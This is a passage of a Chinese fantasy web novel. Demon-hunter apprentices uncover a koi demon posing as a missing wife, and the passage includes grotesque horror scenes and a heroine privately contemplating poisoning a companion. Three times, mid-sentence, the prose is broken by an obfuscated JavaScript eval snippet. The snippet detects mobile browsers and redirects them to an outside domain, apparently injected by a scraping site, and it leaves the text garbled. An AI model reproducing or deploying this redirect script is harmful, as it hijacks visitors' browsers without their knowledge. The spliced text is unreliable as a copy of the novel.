大概是因为难得和男子共处一室,尤其是裴知珩躺在地铺上也要侧着身子朝向她,入睡之前总能感受到他投来的目光,紧紧地黏着她,哪怕她转过去背对着,也能被热烈的视线给闹得心烦。 原本就要迷迷糊糊睡着时,却被一阵刺痛给惊醒。 闻了睁开眼,心中惊惧。 提前了…… 疼痛从心口蔓延,顺着全身的经脉剧烈地膨胀,像是在她的体内有千丝万缕要长出来,争先恐后地想要突破她身体的桎梏,往外生长,身体的寒冷就是它们发出的哀嚎和抗议。 难怪刚刚在外面觉得那么冷,原来不完全是被天气冻着。是她已经开始发作了。 但是药被她放在随身佩戴的锦囊里。锦囊跟着外衣一起脱下堆叠在椅子上。 她只好支撑着自己起身,再勉勉强强地下床,伸手取过外衣,但锦囊被碰掉落在地上。 “这是什么?” 裴知珩不知道是一直装睡,还是被她吵醒了,一把抓起锦囊,正要转过来看她。 “别看我。” 嗓音嘶哑。 她现在没戴面纱。 虽然痕迹已经消退了很多,在这昏暗的环境里大概也看不清楚,但此刻的发作让她不能够确定是不是又明显起来。也许只需一眼就能看清她脸上的东西。 闻了立刻反应过来,伸手按住他的肩膀,但她痛到虚脱,身上一阵冷一阵热,已经使不出来力气,不过只是用手指虚虚按在他肩头,完全起不到任何阻止的作用。 其实只要他想,便能回过头来。 但他没有。 裴知珩只是将手伸过来,把锦囊递给她。 “你手怎么这么凉?”交递东西时触碰到她的指尖,感受到不太寻常的凉意,裴知珩转了过来,双手举起:“我闭上眼可以吧。小师姐,你怎么了?是刚刚在外面受凉了吗?严重吗?” 黑暗之中,闻了只能借着月色看清他紧闭的双眼。 清冷的月光打在少年脸上,与黑夜一同交替勾勒出他清晰的轮廓。闻了似乎是第一次这么近地看他,也是第一次安静地、仔细地看他。 裴知珩的确能靠这张脸吸引到很多注意。西门师父其中一位徒弟就曾经跟她说,如果不是他紧追着闻了不放,朝阳谷里应该会有许多女弟子向他表露心意,猛烈追求,也许还会引发男弟子们的众妒。 不能否认的是,他脸上的每一寸都恰到好处。 所以闻了想不通,他为什么要揪着自己不放。 见色起意? 明明他入谷三个月以来,她因为脸上的东西几乎没有在他面前摘下过面纱。师兄师姐们见过她的容貌,总说真是可惜这脸上的疤痕每月都要发作一次。但裴知珩应该是一次也没见过的。 连她的脸都不曾见过,却会在第一次见面时直截了当地表露心意。闻了想不出缘由。最初她怀疑此人是抱着某种目的刻意接近她的,但……除了那些人以外,她身上没有什么能值得人费心思接近的地方。 尽管摸不清裴知珩的目的,但能肯定的是他不属于那些人中的一员。 那到底是为了什么呢? 朦胧的月光下,呼吸声和心跳声交错着。 闻了微微愣神,很快又被难以忍受的剧痛给唤醒。巴掌大小的锦囊里只剩下三枚黑色的小药丸。 要吃完了……也是,三年了,若按正常的要求服用早就该没了。 闻了吞下一颗,将锦囊放在床头。 怪她已经习惯一个人住了,也习惯将这些让她厌烦的东西在深夜睡觉这一小段时间里放到远离她的地方,暂时性地逃避一会儿。 她定定地看着裴知珩。 他还不知为何举着双手,合上双眼,嘴里唠叨问个不停,好像冒着傻气。 “怎么样了?你好点了吗?” “你是在服药吗?是脸上……就是你那些又长起来了吗?” “其实丑不丑的没关系,我不会说什么的。” “小师姐?” “我能睁眼了吗?” 闻了感觉到冷意褪去许多,钻心的疼痛慢慢减弱,只集中在她的肺腑,一阵阵钝疼。 “没事了。” 大概是因为已经三年没有在这个时候被人关心过了。 她竟然有了一丝松动。 裴知珩听见窸窸窣窣的声音,好像是在盖被子。 “那我睁眼了?” 没有等到回应,他睁开左眼,看见床上的人裹紧被子蜷缩着,背对他而睡。 【好感+1】 【功力+1】 【三个月了,终于涨了!宿主,真是不容易啊!!】 裴知珩愣神,慢吞吞地回到自己的被窝里,有点想不通。 他做了什么? 只是递了个锦囊就增好感了? 那他之前又是送花又是打听喜恶,天天黏着不放,一点没加反而一直减少是在干什么?到底是哪里出了问题? 不管怎么说,这是难得前进的一小步。也许他在不经意间触碰到了能让闻了心动的点。 “好感值一共有多少了?”裴知珩在脑海里用意念同系统交流。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464362|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【让我看看——】 电子音消失了一会儿。 【当前好感值:-9】 【功力值:-9】 ? 裴知珩猛地坐了起来。 他眼角微微抽搐,一言不发地看着那人的背影。 【宿主,加油。】 系统留下一串苍白的加油声,还给他放了个烟花,噗噗几下卡顿的电子音后,消失得无影无踪。 像是一种嘲笑。 徒留裴知珩在月色中沉默。 对此一无所知的闻了还沉浸在和体内的疼痛抗争之中。 连自己是什么时候睡着的都不记得了。 同样睡得不好的还有陆以恒。 许是昨天在河边的所见让他受了严重的惊吓,以至于眼底一片乌青。 只是让人意外的,他并没有第一时间来找两位捉妖师,早上起来再看到他们俩时张了张嘴欲言又止后,什么话也没说,沉默着走到饭桌边上。 三个人各自怀揣着心事坐下,只有羽娘乐呵呵地端着菜过来,像是有什么喜事。 她将蒸好的馒头包子依次摆在桌面上,热气腾腾,美食的香味将三人从情绪中拉出来。 羽娘笑弯了眼,穿着一件红色的袄裙,整个人神清气爽,看上去比起昨天更加喜气洋洋,似乎连她眉目之间的病气都消失了不少。与昨晚在河边看到的模样更是截然不同。 “表嫂怎么这么开心?”闻了喝了一口粥,甜甜的,很合她口味。 这话问到了羽娘心坎上。 她第一次对着闻了笑。 “我有一个好消息。”她转过头看向陆以恒,“恒郎,你猜猜。” 然而她的恒郎却是连头也不敢抬。 只知道埋头喝粥。 羽娘也没在意,去房间抱出来一个盒子,准确来说是个小箱子,大概有半个桌面一样大小,只是不深,放不进去太大的东西。 “我有喜了!”羽娘笑得很灿烂,就像是一个刚刚得知喜脉的母亲同丈夫分享这份喜悦。 但陆以恒却是更加惊惧不已。 “有、有喜?这怎么、这怎么可能?”他咽了咽口水,不可思议的目光扫向同桌的两位捉妖师。 羽娘失踪了三个月,失踪之前她还是被诊断为无法生育的病人,回来后他们也从未行房,陆以恒看向她的肚子,这简直是天方夜谭。 且不论她怎么能怀上他的孩子,即便有孩子到底姓甚名谁,这些都是次要的,现在的问题是她一个昨天晚上还在冰水里泡着的怪物怎么能有喜……陆以恒抓了抓头发,他已经快要崩溃了。 发生的一桩桩事情让他越来越混乱,尤其是昨天—— “当然是真的!”羽娘依然笑着,但好像对他这否决的态度有些不满,将箱子抱到桌上放着,说的话更是让在座三人愣住,“因为我已经生下来了。” 她站着,垂眸扫视三人,雀跃道:“两位捉妖师也来见证一下吧。” 闻了和裴知珩原本挂在脸上的尬笑彻底僵住。 但她好像完全没有理会,也并不在意他们的身份,只是自顾自地当着三人的面将箱子揭开。 一阵令人作呕的血腥味涌出,扑面而来。 箱子里血淋淋的。 那是她口中的孩子。 一只鸡的躯干,人的五官拼凑在鸡冠之下,配上属于猫的四肢,胡乱地被拼接缝合在一起。 动物的毛像是被撕咬干净的,仍然剩下一些被血黏住的毛发。而那属于脸的部分是将人的五官紧凑地安置在一张不知道是什么的脸皮之上。 众人皆是被这一幕震惊到一时不知道该说什么。 陆以恒率先呕吐出来。 羽娘欣赏着自己的佳作:“你看,这嘴巴多像你啊。” 但一抬头却对上陆以恒惊恐万分的神情,她顿时失望:“这是你的孩子啊,恒郎……你快看看……” “不是!不、不要过来!”陆以恒不停地往后退,双腿发软根本支撑不了他的身子,只能无力地软倒。 他已经被这些非人能承受的场景逼到绝路,像是背后的深渊拖着他往后坠落,而前方又有千奇百怪的怪物在追赶,伸出爪子要撕裂他的灵魂。 羽娘看上去有些受伤,伸手抚摸着带血的双眼:“你不认是因为这眼睛不好看吗?我就知道你可能不喜欢。” 她缓缓抬手,摸向自己的眼眶,指尖毫不犹豫地戳了进去,仿佛感受不到疼痛一般,刺进里面,一点点深入,然后连着血肉一同扯了出来,将左眼珠放进箱子里,代替了原先那一个。 鲜红的血从空洞的眼眶中翻涌出来,吞噬着陆以恒的所有理智,将他赶尽杀绝。从绝路还传来女子幽幽的催命声,也像是那在河底传出的求救声,都同样地困得陆以恒不能呼吸: “恒郎,你说,这是我们的孩子对吗?” 11. 第 11 章 “不能生孩子?” 熙熙攘攘的人群沿着十里乡长街顺流而动,嘈杂声盖过温芙的疑问。 面前被问话的妇人一边磕着瓜子,一边点头:“是啊。张郎中给她诊的,刚开始只晓得身体没法有喜,后来咳出血来一瞧,才知道是因为得了痨病。” 被围在人堆中间的便是妇人所提的张郎中,他朝这边扫了一眼,没有否认。 “可惜啊年纪轻轻的。不过还没因为痨病死掉,人先失踪不见了。”几个妇人啧啧几声,接连感叹着,表情惋惜,“我之前就猜,莫不是那小娘子觉得自己得了绝症,怕拖累丈夫,自己离家出走了。” “有道理啊。他俩感情那么好,很有可能这么做。” 得到了许多赞同,说话的中年女子笑意盈盈,激动地继续说:“不是说他们俩大吵一架后,羽娘子自己去了换天池吗?会不会她去换天池许愿,求那些锦鲤仙把她带走了?” 人群里有人提出反对意见:“什么仙,我看就是妖。说不定是锦鲤妖看她已经命不久矣,将她给吃了——你们没见城里来了很多捉妖师?说是就要去换天池抓妖怪的。连五铃卫都出动了,肯定是四阶以上的妖怪!” “要真是妖怪那可太吓人了,那么多人喜欢往那边跑!” “天哪,我去年还带着女儿过去求姻缘见到锦鲤了……莫不是,莫不是就因为它才让我女儿这么久还没相到个好人家?哎哟,真是造孽啊。” 人多嘴杂,你一言我一语的,很快就将话题扯到十万八千里外了。眼看大家议论的焦点偏移到了换天池上,闻人心赶快加入其中:“羽娘子不是只失踪了三个多月吗?换天日一年一次,倒推回去算日子,她应该没能赶上换天日见到所谓的锦鲤仙……妖呢?” 众人沉默片刻,互相看了看。 只因他们的猜测不过是口舌之快,毫无真凭实据,一下子被人点出漏洞,突然使得这份谈话变得无趣起来。 不过,有人疑惑道:“谁说只失踪了三个多月?羽娘子不是还没回来吗?” 这下轮到温芙三人愣住。 “是啊,难道她回来了?” “没有吧,要是真回来了,怎么没听陆官人说起?” “我之前路过曲街那边好像是见到过有个和羽娘子身形很像的,往陆官人家过去了。” 几位妇人惊呼:“不会吧?是不是你看错了,你怎么确定是去陆家的?” 被质疑的人提起一口气,为自己证明:“那边就住着陆家小两口和倪阿婆两户人家,别的人怎么会去。我当然没看走了眼,虽然没看清长什么样,但是也是一个瘦弱的女子,穿的衣服好像……好像就是羽娘子的。” 一直不发话的郎中适时表示否定:“不可能,若是回来了,以羽娘子的身子,定是会来找我诊治的,陆郎一次都没来过,不会是他娘子。” 众人纷纷点头。 张郎中是十里乡唯一的大夫,这些年也一直在为羽娘子开药治疗。陆家恩爱夫妻时不时过来求药,陆以恒这么爱他的妻子,失踪这么久加上一直患有痨病,身体必定有恙不可能一声不吭。 有张郎中作保,大家的猜测很快就偏了道。 “莫非是……陆官人娶了续弦?” “也是,本来好多年没生出孩子来,陆郎还不离不弃,这下人没了,另娶也是人之常情。” 温芙皱眉,很快又舒展开来,解释道:“这样我们就放心了。家中长辈还担心着恒弟弟一门心思搭在旧人身上,还以为是羽娘子回了家才让他拒绝了家中递上的亲事,原来是另觅他人了。既然如此心中的大石头也落下了,多谢各位。” 他们借口是陆以恒的远方亲眷,被他拒绝了家里定下的婚约,奉长辈之命特此前来想问个清楚。 温芙面容温婉大气,举手投足都是大家闺秀之风范,看上去就不会是满腹心计之人,说起谎来也是正经自然的,很容易将这些街坊邻里哄骗住,轻而易举从七嘴八舌中套出想要的信息。 三人组告别张郎中后沿街离开。 “太奇怪了,太奇怪了。”走远了以后,夏听雪才开始发牢骚,“这些乡亲怎么都说羽娘子还没有归家?那……陆家那个是谁?陆以恒不是说他妻子失踪三个月多就回来了吗?怎么别人都不知道?” 闻人心摇头,也露出困惑的神情。 娘子归家许久,周围人却不知道。实在有些奇怪。而且按照陆以恒的性子,为何羽娘回家后从未带她看过郎中? 温芙向前走了几步,飘逸长发上的丝带随之舞动,勾过她的脖颈,一双柳叶眉下的眼睛浮现出思索之色。 “别人都不知道是最奇怪的。” 她隐隐感觉到这件事似乎没有表面上简单。 “不过要不是这么一问,都不知道原来羽娘子身患绝症。”夏听雪将手里的药袋子往上一抛,又稳稳落在手心,“还是运气好,来给小师妹抓个药竟然能有所收获。” 一旁的闻人心展开手中的纸条。 今日一早收到小师妹传来的消息,说是半夜出去得了点风寒,刚巧问到邻居阿婆说是十里乡的张郎中以前常为羽娘子看病,医术傍身,应是能寻点药的。 “羽娘似有问题,但目前一切安好无碍,劳烦师兄师姐先去为我抓药,待午时相见。” 听闻此事,三人当即决定抓药的同时刚好打探些消息,看看这羽娘子之前是患有什么病症,会不会如今的异样与此相关。 夏听雪瞧见闻人心的动作,突然一股怒火涌上来:“要不是你跑来,扔下小师妹不管,她也不会受寒。你一个大师兄,怎么说走就走,就这么放心小师妹一个人。她那么柔弱,你又不是不知道。” 大师兄自知理亏,昨日因为此事已经被她教训得狗血淋头了,又连声抱歉着:“怪我,听说你出了事便没想那么多……还好眼下平安无事。” 他关心则乱,只想着师弟师妹两人待在一块应该也能照顾好自己,却忘了他们俩不过都是黄级捉妖师,陆公子家里还有可能有只妖怪。 夏听雪语塞,睨了他一眼:“我看裴师弟是一门心思想要和了了独处,故意把你支开的,你啊你,怎么脑子缺根筋呢?明明还是师父的亲儿子,怎么一点师父的聪明才智都没继承?” 攻击一番后,她又念叨了一会儿远处的裴知珩,才停歇下来:“等见了面,我非要让他长长记性。这可不比在谷内,出来危险重重的,怎么能够为一点儿女情长这么做,万一遇见危险怎么办?” 温芙垂眸,平静道:“好了,现在说这些也没用。既然兵分两路,那便做好各自的任务。师妹那边还在周旋着,但他们二人实力弱,万一真是只妖怪,怕不好对付。要不师兄问问需不需要我们现在过去。” “说的对,闻人心,你快点问。” 大师兄取出通讯符,双手并拢将符纸紧贴手心,随后指尖一点朱砂轻轻写下讯息,术法起,符纸烧尽。 几人正打算在原地等一会儿消息,却听不远处一阵骚动。 一群人从他们身后跑过去,前面又有另一波人嘴里骂骂咧咧,不情不愿地走过来,两相交错,街上顿时熙熙攘攘,抽不开身。 “姑娘,前面发生什么事了?” 温芙拦住一个疾步走过的女子,温声询问。 对方神色焦急,不耐烦道:“那群捉妖师把换天池围了起来,不准我们去拜锦鲤仙,还打起来了!” 说罢就匆匆甩开她的手跑走了。 温芙看向另外两人,对上眼神,一同往吵闹之处走去。 遥望过去,跨过城门便能瞧见换天池,但此刻却是被围堵得水泄不通。的确如路人所说,一群戴着铃铛的捉妖师站在城门口拦着众人,不肯放行。 今天是小厮口中的换天日。 换天池一年一度,能瞧见金色瀑布,并且以一枚铜板就能向锦鲤仙许愿的日子。 城中这么多人都是奔着这一天而来,为的就是一睹奇观,祈愿求福。 但他们此刻却被隔绝在换天池之外,只能远远看见那平静的池水。 众人怨声载道,不理解捉妖师们的行为,并大声抗议着:“什么妖怪,明明就是天上派下来为我们解困的!你们这些劳什子捉妖师不过是贪图钱财,想借此牟利罢了!” “就是!我在卫国十多年了,从没听说过换天池里有妖!要是有的话,怎么我们许愿的一点事没有?那些锦鲤又不吃人,也不发难,还替人解决困难,这哪里是作恶多端的妖怪!” “锦鲤仙许愿只需要一枚铜板,你们这些捉妖师张口闭口捉妖就是几十几百两!你们不过是眼红,故意污蔑罢了!休想诓骗我们!” “放我们进去!” 捉妖师们持剑相接,形成一道屏障将人群拦住。 有人不甘心,冲撞过去,却被推至后退几步。见此情形,更多人被点燃,想要直接硬闯,用力挤压着,张牙舞爪胡乱往前抓,指甲刮过对方的脸,留下一条醒目的红痕,这下惹恼了拦人的捉妖师,剑鞘击中双膝,使得冲在最前线的百姓身子往后压过去,跪倒在地,吓得其他人后退一步,不敢再上前。 “诸位冷静,若是池子里没有妖,我们今日也不会聚集在此。”其中一位举起手中的铃铛,正是之前闻了几人在吃饭时见过的那种串联在一起镶嵌了绿松石的五枚铁铃铛。 只是此人手上的铃铛刻的不是“卫”,而是“南靖”。 说话之际,隔岸悬挂的瀑布忽而从悬崖顶端倾泻而出,的确如传闻所说,闪动着金色的光芒,像一副亮眼夺目的画卷从上至下展开,柔顺垂天,千尺瀑布跃过山崖附着的层层青石,金色绢丝一般,牵起崖上细碎杂草,波光粼粼,冲刷岩壁上横斜的松木枝叶,垂落涌进换天池中,吸引了所有人的目光。 “锦鲤仙要出来了!” 兴奋又期待的情绪掩盖过方才的惊慌,众人目光炯炯,全神贯注地看着那金色瀑布。 温芙扫眼望过去,一张张脸上或是闪动着贪婪欲念,或是被那层金光铺满,遮掩住眼底的所求所愿。 在众人惊呼声中,她看见飞流之下,有一些漂亮的锦鲤不知从何处冒出来,它们五颜六色,大多是披着彩色的鱼鳞,一跃而上,穿过金色光芒,绚丽的色彩交相辉映,鱼身在高空中划过完美的弧线,又落入水中,游走在圈圈波纹底下。 大家攥着手里的铜板,只能眼睁睁看着锦鲤一晃而过,嚷嚷着要去许愿。 “大家都知道,五铃卫手中铃铛可以震慑住五阶以下的妖怪。”方才那位出来制止人群躁动的捉妖师镇定自若,全然不在意身后的奇观,在众目睽睽下用力晃了晃手中铃铛。 “诸位请看——” 五枚铁铃铛左右晃动,相撞之际发出沉闷的响声,宛如寺庙摆放的大钟,僧人轻轻一撞,腔体共鸣,传扬出的声音钻进耳朵震得人心魂跟着一荡,是山水墨画之中撂下的沉重一笔,以浓墨为结束。 与此同时,顷刻之间,除了被铃声吵到耳朵觉得不适而龇牙咧嘴的普通百姓外,那些跃过金色瀑布沉入池水中的锦鲤发出刺耳的尖叫声,很像被断掉舌头,掐着嗓子的人被扒皮抽筋之时喊叫出来的,极其难听污耳。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494755|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也格外怪异。 正常的鱼怎么会发出这样的叫声? 锦鲤翻起肚皮,漂浮上来,鱼尾不断地摆动挣扎,嘴里尖叫声此起彼伏。而那些正欲穿过金色龙门的鲤鱼则在半空中扑腾两下,失去了华丽的腾跃,径直垂落砸进池水之中。 铃声一停,所有显现的锦鲤纷纷钻进水中,消失不见,像是逃亡了般。 温芙哑然。 这五枚铁铃铛竟然真的有这般的威力,能够震慑住妖怪。 若依此人所说,五阶以下妖怪都会被铃声威慑的话,那么……难怪他们靠近换天池却也没有感受到过一丁点妖气。 这些锦鲤妖至少是五阶……只有玄级捉妖师才能够轻易捕捉其妖气。 换天池,锦鲤妖。 “羽娘执意要去拜锦鲤仙,说只要许愿被锦鲤仙听见,她一定可以有喜的。” 那陆家的那位——温芙偏头,对上两位伙伴的眼神,都从对方眼中读出了同样的意思。 周遭是民众沉默之后的惊叹声,席卷耳畔:“这……这竟然是真的,换天池里的不是仙,是妖?” “天啊!它们逃跑了!捉妖师们慧眼如炬,这些都是妖怪——都是骗人的,什么狗屁锦鲤仙,是妖怪在装神弄鬼,骗我们钱!杀了它们!” “真的是妖怪啊。” 裴知珩看着眼前这个怪物挖掉自己的一只眼睛,还非要逼迫陆以恒承认她怀里的那一团人不人鬼不鬼的玩意儿是他俩的孩子。 简直是辣人耳目。 但一个愿打,一个明显不愿挨。 一旁的闻了则收到通讯符传来的讯息,她捏在手心里,用目光快速扫过。 “现下安否?需相助否?” 是大师兄传来的。 她很想回两个字——“速来!!” 但眼下的情形根本不容她腾出一只手来拿符纸传信。 妖物已经现了原形,似乎也知道自己被人发现得明明白白,不装了,直接抓着陆以恒的衣领,厉声逼问:“快说,这是我们的孩子,你快看啊,恒郎……” 她仍保留着羽娘的容貌,只是脸上开始出现一层层彩色的鳞片,混合着空洞眼眶中流出的血水,诡异又妖艳。陆以恒哪受得住这些,惊恐地伸手四处乱抓,也许是想抓回自己的理智和胆量。 “救命……救命啊啊,别吃我!天师、天师救我啊啊啊——”惨烈的叫声在妖怪羽娘将那团“孩子”的躯体贴近他的脸时戛然而止。陆以恒已经被吓晕过去了。 这一反应显然惹恼了妖物。 “到底还有哪里不满意!眼睛,是不是我的眼睛不好看——恒郎你说话啊。我再为我们的孩子寻一双——” 她抬头长啸一声,指尖陡然变长,死死掐住陆以恒的脖子,剩下完好的那只眼睛转了过来,对着闻了。 显然盯上了她。 不,只是盯上了她的眼睛。 用识境探,没有妖气。 闻了心中微妙。那意味着肯定不在黄级捉妖师能够处理的小妖范围。 她将右手负在身后,藏于袖中的指尖夹着毒针。 妖怪执着于塑造一个像样的能让陆以恒满意的“孩子”,现在想要挖去她的眼睛来补足。若只有她一人在这,自然是好办的,偏偏裴知珩这个拖油瓶还在旁边看戏。 两个办法。 要么直接暴露,日后再将裴知珩杀了毒了封住嘴。要么现在把他毒晕,省去处理尸体和圆谎的步骤。 闻了打算选择后一个。 前者不太保险,裴知珩虽然废物,但脑子也还算好使,嘴上功夫也算了得,留下把柄不及时除掉很可能变成隐患。此人已经隐约窥见假使者的事情,妄图猜测她在其中动的手脚,若是被他看见,后患无穷,极有可能被他拿来当做要挟她接受心意的筹码。 真可惜没有带一击致命的毒药。 不然现在直接毒死,赖在妖怪身上,最省心省力。 “把你的眼睛给我吧。”妖怪羽娘伸出手,独眼看着她,充满了渴求。 还挺讲礼貌。 闻了挪步,悄悄后退,越来越贴近裴知珩。 手中的毒针也在蓄势待发。 “不要。” 她也很有礼貌地回绝了。 然后妖怪就怒了。 她举起双手就要往这边扑过来,血盆大口像张开的鱼鳃,布满血丝,光滑细腻,就要将更大的东西给吞下。 闻了往后一倒,感受到身后人将她扶住,她右手抬起借势放在男子肩上,左右负在身后摸上腰带。 毒针就要刺向裴知珩的脖子。 但下一刻,她的眼睛被捂住,光亮尽数被少年的掌心吞噬。 闻了不明所以,但反应很快,在这一瞬间屈指将毒针收起,只虚虚搭在他肩上,感觉到对方与她半怀相拥。 裴知珩左手捂着她的双眼,贴身凑近她的左耳,在耳畔轻语,气息扫过她的耳垂:“小师姐,别看。” 旋即,闻了能感受到他伸出另外一只手,似乎抓住了妖物的脖子,但不知道做了什么,再然后就是妖怪连连后退撞倒了椅子,踉跄之间许是还碰到桌子,使得茶杯和碗筷顺势摔落得七零八碎,碎裂的声音在地上炸开。 她听到了妖怪的叫声和仓皇逃离的声音。门窗被重物碰撞,有东西被拖拽着离开。 裴知珩的手还蒙着她的眼睛,一动不动。 意料之外的是,她好像感受到一股妖气。 微弱的,近距离的。 就像是她伸手就能触碰到的。 12. 第 12 章 房间内的其他动静全都消失了,只剩下两个人的呼吸与心跳声。裴知珩仍保持着之前的姿势,将闻了半包围,一只手捂着她的双眼,指间留下的橘子皮气味流出,在闻了鼻尖游走,让她想到剥好的橘子瓣爆汁后偷偷落在他指尖,藏起清甜的香气。 【好感+1】 【功力+1】 系统自动提醒的声音冷不丁在脑海深处弹出。 裴知珩错愕之际,手被对方拿开。 屋内错乱踢倒的桌椅,和敞开的大门与窗户都反映了闻了的猜测是正确的。那条锦鲤妖带着陆以恒跑了。 在裴知珩不知道使了什么把戏后仓皇而逃,只来得及带走他们的“孩子”。 他做了什么? 那锦鲤妖可并非黄级捉妖师能轻松吓退的。 闻了不得而知,只细细品味着那点若有若无的妖气。 离得太近了,近到她觉得是来自身边人的。只是很快就化作游丝溜走了。 但闻了可以确信,没有人能比她更加肯定,裴知珩不是妖,是人。 那妖气又是从何而来? 她看向发呆的裴知珩,眼底划过探究的暗色。 对方注意到了这股视线,但因为系统的提示音而陷入沉思。 他做了什么? 怎么突然好感值还增加了? 裴知珩细细想来,回忆起那本五十两攻略手册上提过的方式——亲密接触,保证让人心怦怦跳。 他记得这是最后一条来着。 本打算按照手册上所说的一条条按顺序来,一不小心跳过,也只是微微半怀抱而已,没想到这么管用。果然,年轻气盛的小姑娘还是吃这一套得多。 既然如此,亲密接触除了拥抱,还有牵手、深拥、接…… “师妹!” 夏听雪一声怒吼将他飘然的思绪拉扯回来。 走出屋子,便见到三人风风火火地赶过来,从虚掩的大门直接闯进来,脸上尽是担忧之色。大师兄赶紧跑过来,对着闻了上看看下看看:“没事吧?那妖怪可曾伤到哪?” 夏听雪在一旁先是白了他一眼,又甩了个难看的脸色给裴知珩,最后对着闻了一顿输出:“小师妹,以后裴知珩再缠着你,你就直接一棍子给他打走,别心软。还有闻人心,他再这么不负责任你尽管跟我说,我帮你收拾他!” 这哪行。 裴知珩赶紧上前一步,摆摆双手:“二师姐,可别害我,我一片真心天地可鉴呐。而且我这不是把小师姐保护得挺好的。” 眼看二师姐被他吊儿郎当的样子气得要上手教训,温芙赶紧拦住,目光四下打量:“好了,现在不是说这些的时候。方才感受到有妖气,是那锦鲤妖已经跑了?” 整个院子都没见到还有其他活物的气息,但有些凌乱,似乎是有人慌不择路地夺门而出。想来是他们刚好错过了。 闻了点头,简单描述了一下方才在屋子里发生之事的大致经过,掩去了最后那段细节,然后明知故问:“所以真的是锦鲤妖吗?” 在换天池那边目睹一切的三人组已经确定了:“八九不离十。而且应该在四阶之上,我们几个都没法感知到妖气。”他们反应过来锦鲤仙的真实身份后,立刻联想到陆家娘子很有可能也是锦鲤妖假扮的,故而立刻赶过来。 “方才感觉到一丝妖气,想来肯定是它动了手伤人才会暴露,好在你们都没事。” 地级捉妖师无法感应到四阶以上的妖物,但对方如果出手,妖气四溢,换作普通人也能知道有妖怪的气息。是以温芙只当是锦鲤妖自己暴露妖气,没有多想。 对此,闻了也按下不表。 身旁的裴知珩扫了她一眼,毫无异样地说道:“那我们接下来干嘛?就在这干站着?” 陆以恒的下落差点被他们忘个干净。 “锦鲤妖似乎对换天池颇有执念,多半是将人掳过去了。那边捉妖师多,应该不需要太担心。”刚惊起的那点担忧又被大师兄给抚平,他摸摸下巴,状似思考,“但是根据我们查探的消息,总觉得有些奇怪。” 夏听雪难得没跟他呛声,点头赞同:“这个陆公子应该隐瞒了什么。既然他和羽娘这么恩爱,怎么会等人回来后,除了阿婆,别的人都不晓得?也不带她去看看郎中,不关心她的不治之症如何了?” 处处都是与“恩爱夫妻”相违和的地方。 很难不让人多想。 温芙扫视院子的摆设,都是些普通百姓会用的东西,与寻常人家的小院没什么区别,只是——她看着院子左右两侧不太相称的布置,眯了眯眼。 他们站在院门口看过去,几乎所有东西都堆放在左侧,而右边则显得空荡荡的。初见还没觉得哪里奇怪,只当是主人家习惯性的布局,此刻放眼望去,却觉得这样的安排像是刻意而为之。 好像是为了遮挡左侧地面。 闻了看着温芙走上前,也跟了过去。 许多杂物被堆放在一个废弃的推车旁边,几人将装满柴草的推车挪到一边,又清理了木桶箩筐,将原本拥挤的左侧清空。 所有东西移开,露出空旷的地面,众人一眼便看见贴在地上,之前一直被压在最底下的符纸。 “净味符。” 闻人心蹲下身,将符纸揭开,一瞬间便闻到一股难掩的恶臭,从地底下散发出来。 他回过头,看向师弟师妹们,大家显然都注意到了这味道,皱起眉头。在他们的注视下,闻人心捞起一把铲子,插入松软的土,慢吞吞挖了两把。 一旁的夏听雪看不过去,也随手抓起一个工具动起手来。 很快,泥土在旁边堆积,铲子碰到坚硬的东西,停滞一会儿,又顺着轮廓挖,将多余的泥土尽数挖去,越来越深。 直到闻人心瞧见了一张脸。 他站在坑里挖,和尸体面对面,离得很近,吓得他往后退了一步,差点没拿稳铲子,掉在对方并不安详的脸上。 “这里埋着一个人……” 准确地说,是一个男人。 几人走近一些,能够完全确定所谓的难闻气味就是这具尸首传来的。 陆以恒的院子里埋着一具男尸,还特意用了净味符掩人耳目。 看尸首腐烂的程度,应当是最近几个月里发生的事情。 “所以说……陆以恒杀人藏尸,还藏在自己院子里?”夏听雪惊呆了。 她一直以为,尽管陆以恒藏着秘密,并没有交代清楚,关于羽娘子的事情并非表面那般简单,但最多也就是小夫妻之间一些不方便同别人说起的小秘密。 毕竟,陆以恒看上去兼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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穿着打扮和一般的市井小民差不多,身上也没看出有任何值钱的东西,紧闭的双眼下是死前留下的最后一刻神情。 吃惊讶异的。 情夫吗? 单论长相,这人和陆以恒差不多,都是平平无奇,而身材也不相上下,就比陆以恒多了点壮实和……闻了的视线触及男尸的双手。 右手手指奇怪的曲起,弯成一个半圆,保持着僵硬的姿势。 “他的手好奇怪呀。”闻了啧啧两声,好奇开口,吸引了温芙的注意。 温芙方才也在思索二师姐所说的猜想,经她这样一提醒,转而去看男尸的双手。她凑近了一些,感觉看不真切便直接在众人惊诧下上手去摸。 死亡的冰冷在她指尖反应。 大概过了好几个月,男尸的手部僵硬有所缓解,只是关节处还存在着一定的僵硬感,也依旧保持着生前的姿势。温芙摆弄他的手腕时明显感觉到不太自然,有所阻力。 而她纤细的手指摸上男尸的虎口处,感受到较厚的茧子。 温芙眉头一挑。 她继续往上,抚过大拇指内侧与其他指关节,再到手腕和手背,不出所料,都有茧子。 “可能不是情夫。” 